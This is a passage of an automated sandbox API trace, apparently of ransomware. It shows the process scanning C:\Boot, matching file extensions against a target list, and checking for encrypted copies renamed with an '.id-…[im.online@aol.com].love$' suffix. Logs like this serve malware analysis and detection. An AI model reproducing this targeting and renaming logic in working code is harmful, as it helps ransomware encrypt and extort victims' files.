lpNumberOfBytesRead=0x2fbfc30*=0x40000, lpOverlapped=0x0) returned 1 [0285.257] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc24 | out: lpNewFilePointer=0x0) returned 1 [0285.257] ReadFile (in: hFile=0x370, lpBuffer=0x3a48058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fbfc30, lpOverlapped=0x0 | out: lpBuffer=0x3a48058*, lpNumberOfBytesRead=0x2fbfc30*=0x40000, lpOverlapped=0x0) returned 1 [0285.358] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fbfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0285.962] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x2fbfc24 | out: lpNewFilePointer=0x0) returned 1 [0285.962] ReadFile (hFile=0x370, lpBuffer=0x3a88058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fbfc30, lpOverlapped=0x0) Thread: id = 101 os_tid = 0x964 [0282.948] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10000) returned 0x3770090 [0282.949] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10000) returned 0x3780098 [0282.949] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53ad28 [0282.949] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x6) returned 0x57a368 [0282.949] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53af50 [0282.949] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x100000) returned 0x3b16020 [0282.952] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53ad40 [0282.952] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x53ad40, Size=0x20) returned 0x51d580 [0282.952] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53ada0 [0282.952] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x53ada0, Size=0x20) returned 0x51d8f0 [0282.953] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.953] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.953] Wow64DisableWow64FsRedirection (in: OldValue=0x30fff50 | out: OldValue=0x30fff50*=0x0) returned 1 [0282.953] lstrlenW (lpString="kernel32.dll") returned 12 [0282.953] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d580 | out: hHeap=0x4e0000) returned 1 [0282.953] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.953] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d8f0 | out: hHeap=0x4e0000) returned 1 [0282.953] Sleep (dwMilliseconds=0x64) [0283.177] Sleep (dwMilliseconds=0x64) [0283.370] lstrlenW (lpString="BCD") returned 3 [0283.370] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.370] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0283.370] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0283.370] lstrlenW (lpString=".doc") returned 4 [0283.370] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0283.370] lstrlenW (lpString=".docx") returned 5 [0283.370] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0283.370] lstrlenW (lpString=".pdf") returned 4 [0283.371] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0283.371] lstrlenW (lpString=".xls") returned 4 [0283.371] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0283.371] lstrlenW (lpString=".xlsx") returned 5 [0283.371] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0283.371] lstrlenW (lpString=".ppt") returned 4 [0283.371] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0283.371] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0283.371] lstrlenW (lpString=".zip") returned 4 [0283.371] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0283.371] lstrlenW (lpString=".rar") returned 4 [0283.371] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0283.371] lstrlenW (lpString=".bz2") returned 4 [0283.371] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0283.371] lstrlenW (lpString=".7z") returned 3 [0283.371] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0283.371] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0283.371] lstrlenW (lpString=".dbf") returned 4 [0283.371] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0283.371] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0283.371] lstrlenW (lpString=".1cd") returned 4 [0283.371] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0283.371] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0283.371] lstrlenW (lpString=".jpg") returned 4 [0283.371] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0283.372] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0283.372] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0283.372] lstrlenW (lpString=".doc") returned 4 [0283.372] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0283.372] lstrlenW (lpString=".docx") returned 5 [0283.372] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0283.372] lstrlenW (lpString=".pdf") returned 4 [0283.372] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0283.372] lstrlenW (lpString=".xls") returned 4 [0283.372] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0283.372] lstrlenW (lpString=".xlsx") returned 5 [0283.372] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0283.372] lstrlenW (lpString=".ppt") returned 4 [0283.372] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0283.372] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0283.372] lstrlenW (lpString=".zip") returned 4 [0283.372] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0283.372] lstrlenW (lpString=".rar") returned 4 [0283.372] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0283.372] lstrlenW (lpString=".bz2") returned 4 [0283.372] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0283.372] lstrlenW (lpString=".7z") returned 3 [0283.372] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0283.372] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0283.372] lstrlenW (lpString=".dbf") returned 4 [0283.372] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0283.372] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0283.372] lstrlenW (lpString=".1cd") returned 4 [0283.372] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0283.373] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0283.373] lstrlenW (lpString=".jpg") returned 4 [0283.373] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0283.373] lstrcmpiW (lpString1=".LOG1", lpString2=".love$") returned -1 [0283.373] lstrlenW (lpString="BCD.LOG1") returned 8 [0283.373] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0283.375] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x30fff14 | out: lpFileSize=0x30fff14*=0) returned 1 [0283.375] CloseHandle (hObject=0x2d8) returned 1 [0283.375] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0283.375] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0283.375] lstrlenW (lpString=".doc") returned 4 [0283.375] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0283.375] lstrlenW (lpString=".docx") returned 5 [0283.375] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0283.375] lstrlenW (lpString=".pdf") returned 4 [0283.375] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0283.375] lstrlenW (lpString=".xls") returned 4 [0283.375] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0283.375] lstrlenW (lpString=".xlsx") returned 5 [0283.375] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0283.375] lstrlenW (lpString=".ppt") returned 4 [0283.375] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0283.375] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0283.375] lstrlenW (lpString=".zip") returned 4 [0283.375] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0283.375] lstrlenW (lpString=".rar") returned 4 [0283.375] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0283.376] lstrlenW (lpString=".bz2") returned 4 [0283.376] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0283.376] lstrlenW (lpString=".7z") returned 3 [0283.376] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0283.376] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0283.376] lstrlenW (lpString=".dbf") returned 4 [0283.376] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0283.376] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0283.376] lstrlenW (lpString=".1cd") returned 4 [0283.376] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0283.376] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0283.376] lstrlenW (lpString=".jpg") returned 4 [0283.376] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0283.376] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0283.376] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0283.376] lstrlenW (lpString=".doc") returned 4 [0283.376] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0283.376] lstrlenW (lpString=".docx") returned 5 [0283.376] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0283.376] lstrlenW (lpString=".pdf") returned 4 [0283.376] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0283.376] lstrlenW (lpString=".xls") returned 4 [0283.376] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0283.376] lstrlenW (lpString=".xlsx") returned 5 [0283.376] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0283.377] lstrlenW (lpString=".ppt") returned 4 [0283.377] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0283.377] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0283.377] lstrlenW (lpString=".zip") returned 4 [0283.377] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0283.377] lstrlenW (lpString=".rar") returned 4 [0283.377] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0283.377] lstrlenW (lpString=".bz2") returned 4 [0283.377] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0283.377] lstrlenW (lpString=".7z") returned 3 [0283.377] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0283.377] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0283.377] lstrlenW (lpString=".dbf") returned 4 [0283.377] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0283.377] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0283.377] lstrlenW (lpString=".1cd") returned 4 [0283.377] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0283.377] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0283.377] lstrlenW (lpString=".jpg") returned 4 [0283.377] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0283.377] lstrcmpiW (lpString1=".LOG2", lpString2=".love$") returned -1 [0283.377] lstrlenW (lpString="BCD.LOG2") returned 8 [0283.377] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0283.378] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x30fff14 | out: lpFileSize=0x30fff14*=0) returned 1 [0283.378] CloseHandle (hObject=0x2d8) returned 1 [0283.378] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0283.378] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0283.379] lstrlenW (lpString=".doc") returned 4 [0283.379] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0283.379] lstrlenW (lpString=".docx") returned 5 [0283.379] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0283.379] lstrlenW (lpString=".pdf") returned 4 [0283.379] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0283.379] lstrlenW (lpString=".xls") returned 4 [0283.379] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0283.379] lstrlenW (lpString=".xlsx") returned 5 [0283.379] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0283.379] lstrlenW (lpString=".ppt") returned 4 [0283.379] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0283.379] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0283.379] lstrlenW (lpString=".zip") returned 4 [0283.379] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0283.379] lstrlenW (lpString=".rar") returned 4 [0283.379] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0283.379] lstrlenW (lpString=".bz2") returned 4 [0283.379] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0283.379] lstrlenW (lpString=".7z") returned 3 [0283.379] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0283.379] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0283.379] lstrlenW (lpString=".dbf") returned 4 [0283.379] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0283.379] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0283.379] lstrlenW (lpString=".1cd") returned 4 [0283.379] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0283.379] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0283.379] lstrlenW (lpString=".jpg") returned 4 [0283.380] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0283.380] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0283.380] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0283.380] lstrlenW (lpString=".doc") returned 4 [0283.380] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0283.380] lstrlenW (lpString=".docx") returned 5 [0283.380] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0283.380] lstrlenW (lpString=".pdf") returned 4 [0283.380] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0283.380] lstrlenW (lpString=".xls") returned 4 [0283.380] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0283.380] lstrlenW (lpString=".xlsx") returned 5 [0283.380] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0283.380] lstrlenW (lpString=".ppt") returned 4 [0283.380] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0283.380] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0283.380] lstrlenW (lpString=".zip") returned 4 [0283.380] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0283.380] lstrlenW (lpString=".rar") returned 4 [0283.380] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0283.380] lstrlenW (lpString=".bz2") returned 4 [0283.380] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0283.380] lstrlenW (lpString=".7z") returned 3 [0283.380] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0283.380] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0283.380] lstrlenW (lpString=".dbf") returned 4 [0283.380] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0283.380] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0283.381] lstrlenW (lpString=".1cd") returned 4 [0283.381] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0283.381] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0283.381] lstrlenW (lpString=".jpg") returned 4 [0283.381] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0283.381] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0283.381] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0283.381] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0283.382] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x30fff14 | out: lpFileSize=0x30fff14*=77664) returned 1 [0283.382] CloseHandle (hObject=0x2d8) returned 1 [0283.382] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0283.382] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.382] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.382] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0283.382] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0283.382] lstrlenW (lpString=".doc") returned 4 [0283.382] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0283.382] lstrlenW (lpString=".docx") returned 5 [0283.382] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0283.382] lstrlenW (lpString=".pdf") returned 4 [0283.383] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0283.383] lstrlenW (lpString=".xls") returned 4 [0283.383] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0283.383] lstrlenW (lpString=".xlsx") returned 5 [0283.383] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0283.383] lstrlenW (lpString=".ppt") returned 4 [0283.383] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0283.383] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0283.383] lstrlenW (lpString=".zip") returned 4 [0283.383] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0283.383] lstrlenW (lpString=".rar") returned 4 [0283.383] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0283.383] lstrlenW (lpString=".bz2") returned 4 [0283.383] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0283.383] lstrlenW (lpString=".7z") returned 3 [0283.383] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0283.383] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0283.383] lstrlenW (lpString=".dbf") returned 4 [0283.383] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0283.383] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0283.383] lstrlenW (lpString=".1cd") returned 4 [0283.383] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0283.383] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0283.383] lstrlenW (lpString=".jpg") returned 4 [0283.383] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0283.383] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0283.383] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0283.384] lstrlenW (lpString=".doc") returned 4 [0283.384] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0283.384] lstrlenW (lpString=".docx") returned 5 [0283.384] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0283.384] lstrlenW (lpString=".pdf") returned 4 [0283.384] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0283.384] lstrlenW (lpString=".xls") returned 4 [0283.384] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0283.384] lstrlenW (lpString=".xlsx") returned 5 [0283.384] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0283.384] lstrlenW (lpString=".ppt") returned 4 [0283.384] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0283.384] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0283.384] lstrlenW (lpString=".zip") returned 4 [0283.384] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0283.384] lstrlenW (lpString=".rar") returned 4 [0283.384] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0283.384] lstrlenW (lpString=".bz2") returned 4 [0283.384] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0283.384] lstrlenW (lpString=".7z") returned 3 [0283.384] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0283.384] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0283.384] lstrlenW (lpString=".dbf") returned 4 [0283.384] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0283.384] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0283.384] lstrlenW (lpString=".1cd") returned 4 [0283.384] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0283.384] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0283.384] lstrlenW (lpString=".jpg") returned 4 [0283.384] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0283.385] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0283.385] lstrlenW (lpString="bootspaces.dll") returned 14 [0283.385] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0283.386] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x30fff14 | out: lpFileSize=0x30fff14*=95648) returned 1 [0283.387] CloseHandle (hObject=0x2d8) returned 1 [0283.387] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0283.387] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.387] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.387] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0283.387] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0283.387] lstrlenW (lpString=".doc") returned 4 [0283.387] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0283.387] lstrlenW (lpString=".docx") returned 5 [0283.387] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0283.387] lstrlenW (lpString=".pdf") returned 4 [0283.387] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0283.387] lstrlenW (lpString=".xls") returned 4 [0283.387] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0283.387] lstrlenW (lpString=".xlsx") returned 5 [0283.387] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0283.387] lstrlenW (lpString=".ppt") returned 4 [0283.387] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0283.387] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0283.387] lstrlenW (lpString=".zip") returned 4 [0283.388] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0283.388] lstrlenW (lpString=".rar") returned 4 [0283.388] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0283.388] lstrlenW (lpString=".bz2") returned 4 [0283.388] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0283.388] lstrlenW (lpString=".7z") returned 3 [0283.388] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0283.388] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0283.388] lstrlenW (lpString=".dbf") returned 4 [0283.388] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0283.388] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0283.388] lstrlenW (lpString=".1cd") returned 4 [0283.388] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0283.388] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0283.388] lstrlenW (lpString=".jpg") returned 4 [0283.388] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0283.388] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0283.388] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0283.388] lstrlenW (lpString=".doc") returned 4 [0283.388] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0283.388] lstrlenW (lpString=".docx") returned 5 [0283.388] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0283.388] lstrlenW (lpString=".pdf") returned 4 [0283.388] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0283.388] lstrlenW (lpString=".xls") returned 4 [0283.388] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0283.388] lstrlenW (lpString=".xlsx") returned 5 [0283.389] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0283.389] lstrlenW (lpString=".ppt") returned 4 [0283.389] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0283.389] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0283.389] lstrlenW (lpString=".zip") returned 4 [0283.389] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0283.389] lstrlenW (lpString=".rar") returned 4 [0283.389] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0283.389] lstrlenW (lpString=".bz2") returned 4 [0283.389] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0283.389] lstrlenW (lpString=".7z") returned 3 [0283.389] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0283.389] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0283.389] lstrlenW (lpString=".dbf") returned 4 [0283.389] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0283.389] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0283.389] lstrlenW (lpString=".1cd") returned 4 [0283.389] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0283.389] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0283.389] lstrlenW (lpString=".jpg") returned 4 [0283.389] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0283.389] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0283.389] lstrlenW (lpString="bootvhd.dll") returned 11 [0283.390] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), 